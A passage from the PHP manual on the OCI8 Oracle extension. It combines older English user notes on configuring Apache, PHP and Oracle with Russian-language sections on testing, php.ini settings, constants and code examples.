case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
NOSPAMPLZ!esartoni at omniaglobal dot net 27-May-2003 03:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
lore_giver at lycos dot co dot uk 20-May-2003 11:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
09-Dec-2002 01:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

    autoconf
    automake
    bison
    flex
    gcc
    make
    gzip

    They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

    LIBS=-lpthread ./configure \
    --prefix=/usr/local/apache \
    --enable-module=most \
    --enable-shared=max

    make
    make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

    ORACLE_HOME
    ORACLE_BASE
    NLS_LANG
    ORA_NLS33
    ORACLE_TERM
    LD_LIBRARY_PATH

    (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

    gunzip php-4.2.3.tar.gz
    tar xvf php-4.2.3.tar
    cd php-4.2.3

7.  Run PHP configure like so :

    CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
    --with-config-file-path=/etc \
    --with-mysql \
    --enable-ftp \
    --with-oci8=/path/to/ORACLE_HOME \
    --with-oracle=/path/to/ORACLE_HOME \
    --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

    LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

12.  Test the configuration:

    /usr/local/apache/bin/apachectl configtest

    It should return "Syntax OK"

13.  Bounce Apache:

    /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

    <?php

    $db_conn = ocilogon("scott", "tiger");

    $cmdstr = "select ename, sal from emp";
    $parsed = ociparse($db_conn, $cmdstr);
    ociexecute($parsed);
    $nrows = ocifetchstatement($parsed, $results);
    echo "Found: $nrows results<br><br>\n";

    echo "<table border=1 cellspacing='0' width='50%'>\n";
    echo "<tr>\n";
    echo "<td><b>Name</b></td>\n";
    echo "<td><b>Salary</b></td>\n";
    echo "</tr>\n";

    for ($i = 0; $i < $nrows; $i++ ) {
          echo "<tr>\n";
          echo "<td>" . $results["ENAME"][$i] . "</td>";
          echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
          echo "</tr>\n";
    }

    echo "</table>\n";

    ?>
john at john-warner dot com 20-Nov-2002 04:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
      )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
    echo "Connection failed";
    echo "Error Message: [" . OCIError($conn) . "]";
    exit;
}
else
{
    echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
kakukkfu at mailbox dot hu 26-Sep-2002 11:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
        source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
devolver at iastate dot edu 30-May-2002 04:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
Marinne at ilovechocolate dot com 17-May-2001 05:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org 06-Mar-2001 02:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
shmengie_2000 at yahoo dot com 03-Oct-2000 03:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe


Тестирование

Набор тестов для OCI8 находится в директории ext/oci8/tests. После прогона этих тестов, в этой директории также окажутся файлы журналов произошедших событий и ошибок.

Перед запуском тестов необходимо отредактировать файл details.inc и задать значения переменным $user, $password и строке соединения $dbase. Набор тестов OCI8 разрабатывался с использованием учётной записи SYSTEM. Некоторые тесты не будут выполняться, если у тестирующего пользователя нет аналогичных прав доступа.

Для тестирования функции Oracle создания пулов соединений (Database Resident Connection Pooling) необходимо установить переменную $test_drcp в true, а также убедитесь, что в строке соединения задан соответствующий адрес DRCP сервера.

В качестве альтернативы редактированию файла details.inc можно задать значения переменным окружения, например:

    $ export PHP_OCI8_TEST_USER=system
    $ export PHP_OCI8_TEST_PASS=oracle
    $ export PHP_OCI8_TEST_DB=localhost/XE
    $ export PHP_OCI8_TEST_DRCP=FALSE
Обратите внимание, что в некоторых оболочках эти переменные могут неправильно транслироваться в PHP процесс, и в тестах будут возникать ошибки подключения к базе данных. Будьте аккуратны при использовании этого метода настройки модуля.

Далее необходимо задать окружение базы данных Oracle. Если вы используете PHP на тех же машинах, что и Oracle Database, вы можете запустить:

    $ . /usr/local/bin/oraenv

Для Oracle 11gR2 XE:

    $ . /u01/app/oracle/product/11.2.0/xe/bin/oracle_env.sh

Некоторые оболочки требуют, чтобы в php.ini параметр variables_order содержал литеру E, например:

    variables_order = "EGPCS"

Запуск всех PHP тестов можно осуществить командой:

    $ cd your_php_src_directory
    $ make test
либо можно запустить только OCI8 тесты:
    $ cd your_php_src_directory
    $ make test TESTS=ext/oci8

По завершении тестирования, просмотрите журналы на наличие ошибок. На слабых машинах время выполнения некоторых тестов может превысить значение настройки времени ожидания в файле run-tests.php. Чтобы это исправить, задайте переменной окружения TEST_TIMEOUT значение побольше (значение в секундах).

На быстрых вычислительных системах с локальной базой данных, рассчитанных на небольшие нагрузки (например, Oracle 11gR2 XE), некоторые тесты могут вызывать ORA-12516 или ORA-12520 ошибки. Для их предотвращения необходимо увеличить значение параметра базы данных PROCESSES по инструкции ниже:

Подключиться к базе данных в роли суперпользователя:

    $ su - oracle

Задать необходимое окружение с помощью сценариев oracle_env.sh или oraenv, как описано выше.

Запустить утилиту командной строки SQL*Plus и увеличить значение PROCESSES

    $ sqlplus / as sysdba
    SQL> alter system set processes=100 scope=spfile

Перезапустить базу данных:

    SQL> startup force

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации OCI8
Имя | По умолчанию | Место изменения | Список изменений
oci8.connection_class | "" | PHP_INI_ALL |
oci8.default_prefetch | "100" | PHP_INI_SYSTEM |
oci8.events | Off | PHP_INI_SYSTEM |
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | Объявлена устаревшей, начиная с PHP 8.1.0.
oci8.old_oci_close_semantics | Off | PHP_INI_SYSTEM |
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM |
oci8.ping_interval | "60" | PHP_INI_SYSTEM |
oci8.prefetch_lob_size | "0" | PHP_INI_SYSTEM | Доступна начиная с версии PECL OCI8 3.2.
oci8.privileged_connect | Off | PHP_INI_SYSTEM |
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

oci8.connection_class string

Этот определяемый пользователем текст обязательно должен быть задан при использовании резидентного пула соединений базы данных Oracle (Database Resident Connection Pooling (DRCP)). Это позволяет суб-партиционирование пула соединений DRCP, что позволяет постоянным соединениям OCI8 из приложения заново использовать сессии базы данных от предыдущего PHP-скрипта, улучшая масштабируемость. Если приложение использует процесс из пула базы данных, ранее используемый с другим классом соединений, настройки сессии, такие как формат даты Oracle, будут сброшены. Это предотвращает случайный обмен информацией между различными приложениями.

Значение может быть установлено во время выполнения скрипта с помощью ini_set() до установки соединения.

Для использования DRCP, OCI8 должна быть собрана с библиотеками Oracle 11g или новее и база данных должна быть Oracle 11g или новее. Пул соединений DRCP в базе данных должен быть включён, oci8.connection_class должно быть установлено в одно и то же строковое значение для всех веб-серверов, выполняющих одно и то же приложение, а строка соединения OCI8 должна указывать на сервер из пула. Приложение должно использовать постоянные соединения.

oci8.default_prefetch int

Эта опция устанавливает значение по умолчанию для количества экстра рядов, которые будут возвращены и автоматически закешированы при низкоуровневом запросе данных из базы данных. Установка значения в 0 выключает предварительную выборку (prefetching).

Значение предварительной выборки не меняет количество возвращаемых пользователю рядов такими функциями как oci_fetch_array(); OCI8 внутренне обрабатывает предварительную выборку и кеширование рядов.

Значение может быть установлено отдельно для каждого выражения (per-statement) с помощью oci_set_prefetch() до выполнения самого выражения.

При использовании Oracle Database 12c или новее, предварительное значение, заданное PHP, может быть переопределено клиентским конфигурационным файлом Oracle oraaccess.xml. Обратитесь к документации Oracle.

Замечание: Большая предварительная выборка может улучшить производительность за счёт некоторого увеличенного использования памяти. Для запросов, возвращающих большие массивы данных, выгода в производительности будет значительной.

oci8.events bool

Включение (On) позволяет уведомить PHP о событиях Быстрого Уведомления Приложений базы данных (Fast Application Notification (FAN)).

Без FAN, если экземпляр базы данных или узел машины неожиданно даст сбой, PHP приложения могут быть заблокированы, ожидая ответа от базы данных до превышения времени ожидания TCP. С помощью событий FAN PHP приложения быстро будут уведомлены о сбоях, которые влияют на установленные ими соединения к базе данных. Модуль OCI8 подчистит неиспользуемые соединения в кеше постоянных соединений.

При использовании директивы (On), база данных также должна быть настроена на отправку FAN событий.

Поддержка FAN доступна, если OCI8 была слинкована с библиотеками Oracle 10gR2 (или более поздними) и соединение было осуществлено к Oracle Database 10gR2 (или более поздней версии).

oci8.max_persistent int

Максимальное количество постоянных соединений OCI8 на один PHP процесс. Установка этой опции в -1 означает отсутствие лимита.

oci8.old_oci_close_semantics bool

Эта опция контролирует поведение функции oci_close(). Её включение означает, что oci_close() не делает ничего; соединение не будет закрыто, пока не закончится выполнение скрипта. Это сделано только в целях обратной совместимости. Если вы ощущаете потребность в этой настройке, строго рекомендуется настроить вызовы oci_close() в ваших скриптах вместо включения этой опции.

oci8.persistent_timeout int

Максимальное количество секунд, которое разрешается PHP-процессу держать неиспользуемое постоянное соединение открытым. Установка этой опции в -1 означает, что неиспользуемые соединения будут удержаны, пока PHP-процесс не завершит своё выполнение или соединение не будет принудительно закрыто с помощью функции oci_close().

Замечание: В PHP истечение срока действия неиспользуемых ресурсов не основано на уведомлениях. Оно случается когда PHP завершает обработку скрипта и проверяет отметку времени последних использованных ресурсов. Отсюда возникает следующий парадокс: неиспользуемые соединения могут быть закрыты только когда есть некоторая активность (хотя и не обязательно связанная с OCI8) в PHP-процессе. Если присутствует более одного PHP-процесса, то каждый из них в отдельности должен быть приведён в действие для того, чтобы инициировать истечение срока действия простаивающих ресурсов. Введение резидентного пула соединений базы данных (DRCP) в Oracle 11g разрешает проблемы с памятью и ресурсами, которые ранее пытались решить oci8.max_persistent и oci8.persistent_timeout.

oci8.ping_interval int

Количество секунд, которое должно пройти до совершения пинга в течение выполнения oci_pconnect(). Пинг обеспечивает корректность соединения базы данных. Если установлена в 0, постоянные соединения будут пинговаться при каждом вызове oci_pconnect(). Для полного отключения пингов установите эту опцию в -1.

Замечание: Отключение пингов позволяет oci_pconnect() действовать с максимальной эффективностью, но PHP может быть неспособен определить непригодные соединения, например, при обрыве сети или при отключении базы данных Oracle после того, как PHP установил соединение, пока соединение вновь не будет использовано в скрипте. Проконсультируйтесь с документацией функции oci_pconnect() для более подробной информации.

oci8.prefetch_lob_size int

Параметр настройки, влияющий на внутреннюю буферизацию данных LOB. Увеличение этого значения может улучшить производительность выборки меньших LOB за счёт сокращения круговых обходов между PHP и базой данных. Использование памяти изменится.

Значение влияет на LOB, возвращаемые как экземпляры OCILob, а также на те, которые возвращаются с использованием OCI_RETURN_LOBS.

Значение может быть установлено для каждого оператора с помощью функции oci_set_prefetch_lob() до выполнения оператора.

Замечание: Используйте с Oracle Database 12.2 или новее.

oci8.privileged_connect bool

Эта опция позволяет соединениям использовать привилегированные внешние учётные записи OCI_SYSOPER или OCI_SYSDBA.

Замечание: Установка этой директивы в On позволит скриптам, запущенных с соответствующими пользовательскими привилегиями операционной системы, соединяться с базой данных в качестве привилегированных пользователей базы данных без требования пароля. Это может быть брешью системы безопасности.

oci8.statement_cache_size int

Эта опция включает кеширование выражений, а также указывает сколько выражений необходимо кешировать. Для отключения кеширования выражений просто установите значение этой опции в 0.

Кэширование выражений убирает необходимость передавать текст выражения к базе данных, а также обратную передачу различных метаданных об этом выражении обратно к PHP. Это может значительно улучшить общую производительность системы в приложениях, повторно использующих выражения в течение жизни одного соединения. Некоторые дополнительные "курсоры" баз данных могут остаться открытыми, подразумевая, что данные выражения будут использованы повторно.

Установите это значение размером рабочего набора выражений, используемых вашим приложением. Установка слишком малого значения может повлечь выброс выражений из кеша до их повторного использования.

Эта опция чаще всего используется с постоянными соединениями.

При использовании Oracle Database 12c или выше, предварительное значение, заданное PHP, может быть переопределено клиентским конфигурационным файлом Oracle oraaccess.xml. Обратитесь к документации Oracle.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Функции и методы OCI8
Константа | Описание
OCI_ASSOC | Используется функциями oci_fetch_all() и oci_fetch_array() для получения результатов в виде ассоциативного массива.
OCI_BOTH | Используется функциями oci_fetch_all() и oci_fetch_array() для получения результатов в виде массива с ассоциативными и числовыми индексами.
OCI_COMMIT_ON_SUCCESS | Режим выполнения выражений для oci_execute(). Автоматически завершает транзакцию оператором COMMIT в случае успешного выполнения выражения.
OCI_CRED_EXT | Используется функцией oci_connect() для внешней или системной аутентификации.
OCI_DEFAULT | Смотрите OCI_NO_AUTO_COMMIT.
OCI_DESCRIBE_ONLY | Режим выполнения выражений для oci_execute(). Используйте этот режим, если вы хотите получить данные о выполнении запроса, а не выполнить сам запрос.
OCI_EXACT_FETCH | Устарело. Режим получения результатов запроса. Используется в том случае, если приложению известно заранее сколько строк будет получено в результате. Oracle 8 и более поздние версии не используют выборку результатов с упреждением в этом режиме, а курсоры уничтожаются автоматически после выборки ожидаемого количества строк, что может уменьшить требования сервера к ресурсам.
OCI_FETCHSTATEMENT_BY_COLUMN | Режим oci_fetch_all() по умолчанию.
OCI_FETCHSTATEMENT_BY_ROW | Альтернативный режим oci_fetch_all().
OCI_LOB_BUFFER_FREE | Используется функцией OCILob::flush для освобождения используемых буферов.
OCI_NO_AUTO_COMMIT | Режим выполнения выражений для oci_execute(). В этом режиме транзакция не завершается автоматически оператором COMMIT. Для повышения читаемости используйте в новом коде эту константу вместо старой равносильной константы OCI_DEFAULT.
OCI_NUM | Используется с oci_fetch_all() и oci_fetch_array() для получения массива с числовыми индексами.
OCI_RETURN_LOBS | Используется oci_fetch_array() для получения содержания объекта LOB вместо дескриптора.
OCI_RETURN_NULLS | Используется с oci_fetch_array() для получения пустых элементов массива, если соответствующее поле в результате равно null.
OCI_SEEK_CUR | Используется OCILob::seek для задания позиции смещения.
OCI_SEEK_END | Используется OCILob::seek для задания позиции смещения.
OCI_SEEK_SET | Используется OCILob::seek для задания позиции смещения.
OCI_SYSDATE | Больше не используется.
OCI_SYSDBA | Используется функцией oci_connect() для соединения с привилегиями SYSOPER. Опция php.ini oci8.privileged_connect должна быть включена.
OCI_SYSOPER | Используется функцией oci_connect() для соединения с привилегиями SYSOPER. Опция php.ini oci8.privileged_connect должна быть включена.
OCI_TEMP_BLOB | Используется функцией OCILob::writeTemporary для создания временного BLOB.
OCI_TEMP_CLOB | Используется функцией OCILob::writeTemporary для создания временного CLOB.
OCI8 привязка переменных и определение типов
Константа | Описание
OCI_B_BFILE | Используется функцией oci_bind_by_name() для привязки переменных типа BFILE.
OCI_B_BIN | Используется совместно с функцией oci_bind_by_name() для привязки необработанных (RAW) данных.
OCI_B_BLOB | Используется функцией oci_bind_by_name() для привязки переменных типа BLOB.
OCI_B_BOL | Используется функцией oci_bind_by_name() для привязки переменных типа PL/SQL BOOLEAN.
OCI_B_CFILEE | Используется функцией oci_bind_by_name() для привязки переменных типа CFILE.
OCI_B_CLOB | Используется функцией oci_bind_by_name() для привязки переменных типа CLOB.
OCI_B_CURSOR | Используется функцией oci_bind_by_name() для привязки курсоров, ранее полученных из oci_new_descriptor().
OCI_B_INT | Используется функцией oci_bind_array_by_name() для привязки массивов элементов типа INTEGER.
OCI_B_NTY | Используется функцией oci_bind_by_name() для привязки именованных типов данных.
OCI_B_NUM | Используется функцией oci_bind_array_by_name() для привязки массивов элементов типа NUMBER.
OCI_B_ROWID | Используется функцией oci_bind_by_name() для привязки переменных типа ROWID.
SQLT_AFC | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа CHAR.
SQLT_AVC | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа VARCHAR2.
SQLT_BDOUBLE | Не поддерживается.
SQLT_BFILEE | То же, что и OCI_B_BFILE.
SQLT_BFLOAT | Не поддерживается.
SQLT_BIN | То же, что и OCI_B_BIN.
SQLT_BLOB | То же, что и OCI_B_BLOB.
SQLT_BOL | То же, что и OCI_B_BOL.
SQLT_CFILEE | То же, что и OCI_B_CFILEE.
SQLT_CHR | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа VARCHAR2. Также используется функцией oci_bind_by_name().
SQLT_CLOB | То же, что и OCI_B_CLOB.
SQLT_FLT | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа FLOAT.
SQLT_INT | То же, что и OCI_B_INT.
SQLT_LBI | Используется функцией oci_bind_by_name() для привязки переменных типа LONG RAW.
SQLT_LNG | Используется функцией oci_bind_by_name() для привязки переменных типа LONG.
SQLT_LVC | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа LONG VARCHAR.
SQLT_NTY | То же, что и OCI_B_NTY.
SQLT_NUM | То же, что и OCI_B_NUM.
SQLT_ODT | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа LONG.
SQLT_RDD | То же, что и OCI_B_ROWID.
SQLT_RSET | То же, что и OCI_B_CURSOR.
SQLT_STR | Используется функцией oci_bind_array_by_name() для привязки массивов с элементами типа STRING.
SQLT_UIN | Не поддерживается.
SQLT_VCS | Используется совместно с oci_bind_array_by_name() для привязки массивов VARCHAR.
Типы дескрипторов OCI8
Константа | Описание
OCI_DTYPE_FILE | Флаг используется oci_new_descriptor() для инициализации дескриптора типа FILE.
OCI_DTYPE_LOB | Флаг используется oci_new_descriptor() для инициализации дескриптора типа LOB.
OCI_DTYPE_ROWID | Флаг используется oci_new_descriptor() для инициализации дескриптора типа ROWID.
OCI_D_FILE | То же, что и OCI_DTYPE_FILE.
OCI_D_LOB | То же, что и OCI_DTYPE_LOB.
OCI_D_ROWID | То же, что и OCI_DTYPE_ROWID.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Эти примеры выполняются под пользователем HR, который является образцом из "Human Resources" схемы, поставляемой вместе с базой данных Oracle. Возможно потребуется разблокировать этот аккаунт и переустановить для него пароль, чтобы использовать его.

Примеры подключаются к базе данных XE на вашем компьютере. Вы можете заменить строки с подключением для использования своих баз данных.

Пример #1 Простой запрос

Данный пример показывает запрос и результат. Выражения в OCI8 используют последовательность из шагов подготовка-выполнение-выборка.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Подготовка выражения
$stid = oci_parse($conn, 'SELECT * FROM departments');
if (!$stid) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Выполним логику запроса
$r = oci_execute($stid);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Получим результат запроса
print "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
print "<tr>\n";
foreach ($row as $item) {
print " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
print "</tr>\n";
}
print "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Вставка с использованием привязанных переменных

Привязывание переменных повышают производительность за счёт повторного использования контекста запроса и кеширования. Также они повышают безопасность блокируя некоторые типы SQL-инъекций.

<?php

// Создайте таблицу перед выполнением:
// CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO MYTABLE (mid, myd) VALUES(:myid, :mydata)');

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid); // выполнение и фиксация

if ($r) {
print "Была вставлена одна строка";
}

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Привязка в WHERE выражении запроса

Пример единичной привязки скаляра.

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['LAST_NAME'] ."<br>\n";
}

// Выведет
// Austin
// Ernst
// Hunold
// Lorentz
// Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Пример #4 Вставка данных в поле типа CLOB

Для больших данных используйте длинные двоичные объекты (BLOB) или длинные символьные объекты (CLOB). Данный пример использует тип данных CLOB.

<?php

// Создайте таблицу перед выполнением:
// CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$mykey = 12343; // произвольный ключ для данного примера;

$sql = "INSERT INTO mytable (mykey, myclob)
VALUES (:mykey, EMPTY_CLOB())
RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_NO_AUTO_COMMIT);
$clob->save("A very long string");

oci_commit($conn);

// Получение CLOB данных

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
// В цикле, очищение больших переменных перед повторным получением данных, уменьшает пиковое потребление памяти PHP
unset($row);
}
print '</table>';

?>

Пример #5 Использование PL/SQL хранимых процедур

Вы должны привязывать переменную для каждого возвращаемого значения и опционально для каждого аргумента функции.

<?php

/*
До выполнения PHP-скрипта сойздайте хранимую процедуру в
SQL*Plus или SQL Developer:

CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
BEGIN
RETURN p * 3;
END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n"; // выведет 24

oci_free_statement($stid);
oci_close($conn);

?>

Пример #6 Использование PL/SQL хранимых процедур

При использовании хранимых процедур желательно привязывать переменные к каждому аргументу.

<?php

/*
До выполнения PHP-скрипта сойздайте хранимую процедуру в
SQL*Plus или SQL Developer:

CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
BEGIN
p2 := p1 * 2;
END;

*/

